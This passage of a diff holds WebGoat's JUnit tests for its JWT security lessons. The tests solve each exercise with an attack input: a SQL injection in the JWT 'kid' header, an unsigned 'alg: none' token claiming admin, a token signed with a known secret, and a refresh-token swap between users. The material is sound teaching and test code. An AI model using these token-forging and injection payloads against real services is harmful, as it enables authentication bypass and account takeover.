private static final String TOKEN_JERRY = "eyJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTNTEyIn0.eyJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImVtYWlsIjoiamVycnlAd2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IkplcnJ5In0.xBc5FFwaOcuxjdr_VJ16n8Jb7vScuaZulNTl66F2MWF1aBe47QsUosvbjWGORNcMPiPNwnMu1Yb0WZVNrp2ZXA";
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new JWT());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveAssignment() throws Exception {
|
||||
String key = "deletingTom";
|
||||
Map<String, Object> claims = new HashMap<>();
|
||||
claims.put("username", "Tom");
|
||||
String token = Jwts.builder()
|
||||
.setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --")
|
||||
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
||||
.setClaims(claims)
|
||||
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key)
|
||||
.compact();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete")
|
||||
.param("token", token)
|
||||
.content(""))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void withJerrysKeyShouldNotSolveAssignment() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete")
|
||||
.param("token", TOKEN_JERRY)
|
||||
.content(""))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-final-jerry-account"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void shouldNotBeAbleToBypassWithSimpleToken() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete")
|
||||
.param("token", ".eyJ1c2VybmFtZSI6IlRvbSJ9.")
|
||||
.content(""))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
|
||||
}
|
||||
}
|
@ -0,0 +1,213 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.jwt;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.jwt.JWT;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.MvcResult;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.owasp.webgoat.lessons.jwt.JWTRefreshEndpoint.PASSWORD;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class JWTRefreshEndpointTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new JWT());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveAssignment() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
//First login to obtain tokens for Jerry
|
||||
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content(objectMapper.writeValueAsString(loginJson)))
|
||||
.andExpect(status().isOk())
|
||||
.andReturn();
|
||||
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
|
||||
String accessToken = tokens.get("access_token");
|
||||
String refreshToken = tokens.get("refresh_token");
|
||||
|
||||
//Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry
|
||||
String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
||||
Map<String, Object> refreshJson = new HashMap<>();
|
||||
refreshJson.put("refresh_token", refreshToken);
|
||||
result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.header("Authorization", "Bearer " + accessTokenTom)
|
||||
.content(objectMapper.writeValueAsString(refreshJson)))
|
||||
.andExpect(status().isOk())
|
||||
.andReturn();
|
||||
tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
|
||||
accessTokenTom = tokens.get("access_token");
|
||||
|
||||
//Now checkout with the new token from Tom
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout")
|
||||
.header("Authorization", "Bearer " + accessTokenTom))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception {
|
||||
String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout")
|
||||
.header("Authorization", "Bearer " + accessTokenTom))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("JWT expired at")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void checkoutWitRandomTokenShouldFail() throws Exception {
|
||||
String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout")
|
||||
.header("Authorization", "Bearer " + accessTokenTom))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void flowForJerryAlwaysWorks() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content(objectMapper.writeValueAsString(loginJson)))
|
||||
.andExpect(status().isOk())
|
||||
.andReturn();
|
||||
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
|
||||
String accessToken = tokens.get("access_token");
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout")
|
||||
.header("Authorization", "Bearer " + accessToken))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", is("User is not Tom but Jerry, please try again")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong");
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content(objectMapper.writeValueAsString(loginJson)))
|
||||
.andExpect(status().isUnauthorized());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void loginShouldNotWorkForTom() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
var loginJson = Map.of("user", "Tom", "password", PASSWORD);
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content(objectMapper.writeValueAsString(loginJson)))
|
||||
.andExpect(status().isUnauthorized());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void newTokenShouldWorkForJerry() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
Map<String, Object> loginJson = new HashMap<>();
|
||||
loginJson.put("user", "Jerry");
|
||||
loginJson.put("password", PASSWORD);
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content(objectMapper.writeValueAsString(loginJson)))
|
||||
.andExpect(status().isOk())
|
||||
.andReturn();
|
||||
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
|
||||
String accessToken = tokens.get("access_token");
|
||||
String refreshToken = tokens.get("refresh_token");
|
||||
|
||||
var refreshJson = Map.of("refresh_token", refreshToken);
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.header("Authorization", "Bearer " + accessToken)
|
||||
.content(objectMapper.writeValueAsString(refreshJson)))
|
||||
.andExpect(status().isOk());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
Map<String, Object> loginJson = new HashMap<>();
|
||||
loginJson.put("user", "Jerry");
|
||||
loginJson.put("password", PASSWORD);
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content(objectMapper.writeValueAsString(loginJson)))
|
||||
.andExpect(status().isOk())
|
||||
.andReturn();
|
||||
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
|
||||
String accessToken = tokens.get("access_token");
|
||||
|
||||
var refreshJson = Map.of("refresh_token", "wrong_refresh_token");
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.header("Authorization", "Bearer " + accessToken)
|
||||
.content(objectMapper.writeValueAsString(refreshJson)))
|
||||
.andExpect(status().isUnauthorized());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void noTokenWhileCheckoutShouldReturn401() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout"))
|
||||
.andExpect(status().isUnauthorized());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void noTokenWhileRequestingNewTokenShouldReturn401() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken"))
|
||||
.andExpect(status().isUnauthorized());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void noTokenWhileLoginShouldReturn401() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login"))
|
||||
.andExpect(status().isUnauthorized());
|
||||
}
|
||||
}
|
@ -0,0 +1,139 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.jwt;
|
||||
|
||||
import io.jsonwebtoken.Claims;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.jwt.JWT;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.time.Instant;
|
||||
import java.util.Date;
|
||||
|
||||
import static io.jsonwebtoken.SignatureAlgorithm.HS512;
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint.JWT_SECRET;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class JWTSecretKeyEndpointTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new JWT());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
private Claims createClaims(String username) {
|
||||
Claims claims = Jwts.claims();
|
||||
claims.put("admin", "true");
|
||||
claims.put("user", "Tom");
|
||||
claims.setExpiration(Date.from(Instant.now().plus(Duration.ofDays(1))));
|
||||
claims.setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(1))));
|
||||
claims.setIssuer("iss");
|
||||
claims.setAudience("aud");
|
||||
claims.setSubject("sub");
|
||||
claims.put("username", username);
|
||||
claims.put("Email", "webgoat@webgoat.io");
|
||||
claims.put("Role", new String[]{"user"});
|
||||
return claims;
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveAssignment() throws Exception {
|
||||
Claims claims = createClaims("WebGoat");
|
||||
String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
|
||||
.param("token", token))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveAssignmentWithLowercase() throws Exception {
|
||||
Claims claims = createClaims("webgoat");
|
||||
String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
|
||||
.param("token", token))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void oneOfClaimIsMissingShouldNotSolveAssignment() throws Exception {
|
||||
Claims claims = createClaims("WebGoat");
|
||||
claims.remove("aud");
|
||||
String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
|
||||
.param("token", token))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-secret-claims-missing"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void incorrectUser() throws Exception {
|
||||
Claims claims = createClaims("Tom");
|
||||
String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
|
||||
.param("token", token))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-secret-incorrect-user", "default", "Tom"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void incorrectToken() throws Exception {
|
||||
Claims claims = createClaims("Tom");
|
||||
String token = Jwts.builder().setClaims(claims).signWith(HS512, "wrong_password").compact();
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
|
||||
.param("token", token))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
void unsignedToken() throws Exception {
|
||||
Claims claims = createClaims("WebGoat");
|
||||
String token = Jwts.builder().setClaims(claims).compact();
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret")
|
||||
.param("token", token))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
|
||||
}
|
||||
}
|
@ -0,0 +1,207 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.jwt;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import io.jsonwebtoken.Claims;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.jwt.JWT;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.MvcResult;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import javax.servlet.http.Cookie;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.hamcrest.Matchers.containsString;
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.owasp.webgoat.lessons.jwt.JWTVotesEndpoint.JWT_PASSWORD;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class JWTVotesEndpointTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new JWT());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveAssignment() throws Exception {
|
||||
//Create new token and set alg to none and do not sign it
|
||||
Claims claims = Jwts.claims();
|
||||
claims.put("admin", "true");
|
||||
claims.put("user", "Tom");
|
||||
String token = Jwts.builder().setClaims(claims).setHeaderParam("alg", "none").compact();
|
||||
|
||||
//Call the reset endpoint
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.cookie(new Cookie("access_token", token)))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void resetWithoutTokenShouldNotWork() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings")
|
||||
.contentType(MediaType.APPLICATION_JSON))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void guestShouldNotGetAToken() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.param("user", "Guest"))
|
||||
.andExpect(status().isUnauthorized()).andExpect(cookie().value("access_token", ""));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void tomShouldGetAToken() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.param("user", "Tom"))
|
||||
.andExpect(status().isOk()).andExpect(cookie().value("access_token", containsString("eyJhbGciOiJIUzUxMiJ9.")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void guestShouldNotSeeNumberOfVotes() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
|
||||
.cookie(new Cookie("access_token", "")))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$[0].numberOfVotes").doesNotExist())
|
||||
.andExpect(jsonPath("$[0].votingAllowed").doesNotExist())
|
||||
.andExpect(jsonPath("$[0].average").doesNotExist());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void tomShouldSeeNumberOfVotes() throws Exception {
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.param("user", "Tom"))
|
||||
.andExpect(status().isOk()).andReturn();
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
|
||||
.cookie(result.getResponse().getCookies()[0]))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$[0].numberOfVotes").exists())
|
||||
.andExpect(jsonPath("$[0].votingAllowed").exists())
|
||||
.andExpect(jsonPath("$[0].average").exists());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void invalidTokenShouldSeeGuestView() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
|
||||
.cookie(new Cookie("access_token", "abcd.efgh.ijkl")))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$[0].numberOfVotes").doesNotExist())
|
||||
.andExpect(jsonPath("$[0].votingAllowed").doesNotExist())
|
||||
.andExpect(jsonPath("$[0].average").doesNotExist());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void tomShouldBeAbleToVote() throws Exception {
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.param("user", "Tom"))
|
||||
.andExpect(status().isOk()).andReturn();
|
||||
Cookie cookie = result.getResponse().getCookie("access_token");
|
||||
|
||||
result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
|
||||
.cookie(cookie))
|
||||
.andExpect(status().isOk())./*andDo(print()).*/andReturn();
|
||||
Object[] nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class);
|
||||
int currentNumberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes");
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
|
||||
.cookie(cookie))
|
||||
.andExpect(status().isAccepted());
|
||||
result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
|
||||
.cookie(cookie))
|
||||
.andExpect(status().isOk()).andReturn();
|
||||
nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class);
|
||||
int numberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes");
|
||||
assertThat(numberOfVotes).isEqualTo(currentNumberOfVotes + 1);
|
||||
}
|
||||
|
||||
private Map<String, Object> findNodeByTitle(Object[] nodes, String title) {
|
||||
for (Object n : nodes) {
|
||||
Map<String, Object> node = (Map<String, Object>) n;
|
||||
if (node.get("title").equals(title)) {
|
||||
return node;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@Test
|
||||
public void guestShouldNotBeAbleToVote() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
|
||||
.cookie(new Cookie("access_token", "")))
|
||||
.andExpect(status().isUnauthorized());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void unknownUserWithValidTokenShouldNotBeAbleToVote() throws Exception {
|
||||
Claims claims = Jwts.claims();
|
||||
claims.put("admin", "true");
|
||||
claims.put("user", "Intruder");
|
||||
String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
|
||||
.cookie(new Cookie("access_token", token)))
|
||||
.andExpect(status().isUnauthorized());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void unknownUserShouldSeeGuestView() throws Exception {
|
||||
Claims claims = Jwts.claims();
|
||||
claims.put("admin", "true");
|
||||
claims.put("user", "Intruder");
|
||||
String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/")
|
||||
.cookie(new Cookie("access_token", token)))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$[0].numberOfVotes").doesNotExist())
|
||||
.andExpect(jsonPath("$[0].votingAllowed").doesNotExist())
|
||||
.andExpect(jsonPath("$[0].average").doesNotExist());
|
||||
}
|
||||
|
||||
|
||||
}
|
75
src/test/java/org/owasp/webgoat/lessons/jwt/TokenTest.java
Normal file
75
src/test/java/org/owasp/webgoat/lessons/jwt/TokenTest.java
Normal file
@ -0,0 +1,75 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
